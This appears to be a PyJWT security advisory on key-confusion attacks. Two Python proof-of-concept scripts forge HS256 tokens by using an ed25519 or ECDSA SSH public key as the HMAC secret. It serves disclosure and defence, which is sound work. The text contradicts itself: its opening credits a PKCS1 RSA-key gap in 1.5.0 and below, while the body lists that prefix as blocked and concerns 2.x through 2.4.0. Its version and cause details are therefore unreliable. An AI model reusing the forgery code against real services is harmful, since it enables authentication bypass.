In PyJWT 1.5.0 and below the invalidstrings check in HMACAlgorithm.preparekey does not account for all PEM encoded public keys. Specifically, the PKCS1 PEM encoded format would be allowed because it is prefaced with the string -----BEGIN RSA PUBLIC KEY----- which is not accounted for. This enables symmetric/asymmetric key confusion attacks against users using the PKCS1 PEM encoded public keys, which would allow an attacker to craft JWTs from scratch.
Impact What kind of vulnerability is it? Who is impacted?
Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).
PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify "jwt.algorithms.getdefaultalgorithms()" to get support for all algorithms. They can also specify a single one of them (which is the usual use case if calling jwt.decode directly. However, if calling jwt.decode in a helper function, all algorithms might be enabled.) For example, if the user chooses "none" algorithm and the JWT checker supports that, there will be no signature checking. This is a common security issue with some JWT implementations. PyJWT combats this by requiring that the if the "none" algorithm is used, the key has to be empty. As the key is given by the application running the checker, attacker cannot force "none" cipher to be used. Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is not a public key meant for asymmetric algorithm i.e. HMAC cannot be used if the key begins with "ssh-rsa". If HMAC is used with a public key, the attacker can just use the publicly known public key to sign the token and the checker would use the same key to verify. From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. With ed25519, PyJWT supports public keys that start with "ssh-", for example "ssh-ed25519".
python import jwt from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import ed25519
Generate ed25519 private key privatekey = ed25519.Ed25519PrivateKey.generate()
Get private key bytes as they would be stored in a file privkeybytes = privatekey.privatebytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, encryptionalgorithm=serialization.NoEncryption())
Get public key bytes as they would be stored in a file pubkeybytes = privatekey.publickey().publicbytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)
Making a good jwt token that should work by signing it with the private key encodedgood = jwt.encode({"test": 1234}, privkeybytes, algorithm="EdDSA")
Using HMAC with the public key to trick the receiver to think that the public key is a HMAC secret encodedbad = jwt.encode({"test": 1234}, pubkeybytes, algorithm="HS256")
Both of the jwt tokens are validated as valid decodedgood = jwt.decode(encodedgood, pubkeybytes, algorithms=jwt.algorithms.getdefaultalgorithms()) decodedbad = jwt.decode(encodedbad, pubkeybytes, algorithms=jwt.algorithms.getdefaultalgorithms())
if decodedgood == decodedbad: print("POC Successfull")
Of course the receiver should specify ed25519 algorithm to be used if they specify ed25519 public key. However, if other algorithms are used, the POC does not work HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py invalidstrings = [ b"-----BEGIN PUBLIC KEY-----", b"-----BEGIN CERTIFICATE-----", b"-----BEGIN RSA PUBLIC KEY-----", b"ssh-rsa", ] However, OKPAlgorithm (ed25519) accepts the following in jwt/algorithms.py: if "-----BEGIN PUBLIC" in strkey: return loadpempublickey(key) if "-----BEGIN PRIVATE" in strkey: return loadpemprivatekey(key, password=None) if strkey[0:4] == "ssh-": return loadsshpublickey(key) These should most likely made to match each other to prevent this behavior
python import jwt
#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem #openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem #ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub
privkeybytes = b"""-----BEGIN EC PRIVATE KEY----- MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49 AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw== -----END EC PRIVATE KEY-----"""
pubkeybytes = b"""-----BEGIN PUBLIC KEY----- MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw== -----END PUBLIC KEY-----"""
sshkeybytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc="""
Making a good jwt token that should work by signing it with the private key encodedgood = jwt.encode({"test": 1234}, privkeybytes, algorithm="ES256")
Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret encodedbad = jwt.encode({"test": 1234}, sshkeybytes, algorithm="HS256")
Both of the jwt tokens are validated as valid decodedgood = jwt.decode(encodedgood, sshkeybytes, algorithms=jwt.algorithms.getdefaultalgorithms()) decodedbad = jwt.decode(encodedbad, sshkeybytes, algorithms=jwt.algorithms.getdefaultalgorithms())
if decodedgood == decodedbad: print("POC Successfull") else: print("POC Failed")
The issue is not that big as algorithms=jwt.algorithms.getdefaultalgorithms() has to be used. However, with quick googling, this seems to be used in some cases at least in some minor projects.
Patches
Users should upgrade to v2.4.0.
Workarounds
Always be explicit with the algorithms that are accepted and expected when decoding.
References Are there any links users can visit to find out more?
For more information If you have any questions or comments about this advisory: Open an issue in https://github.com/jpadilla/pyjwt Email José Padilla: pyjwt at jpadilla dot com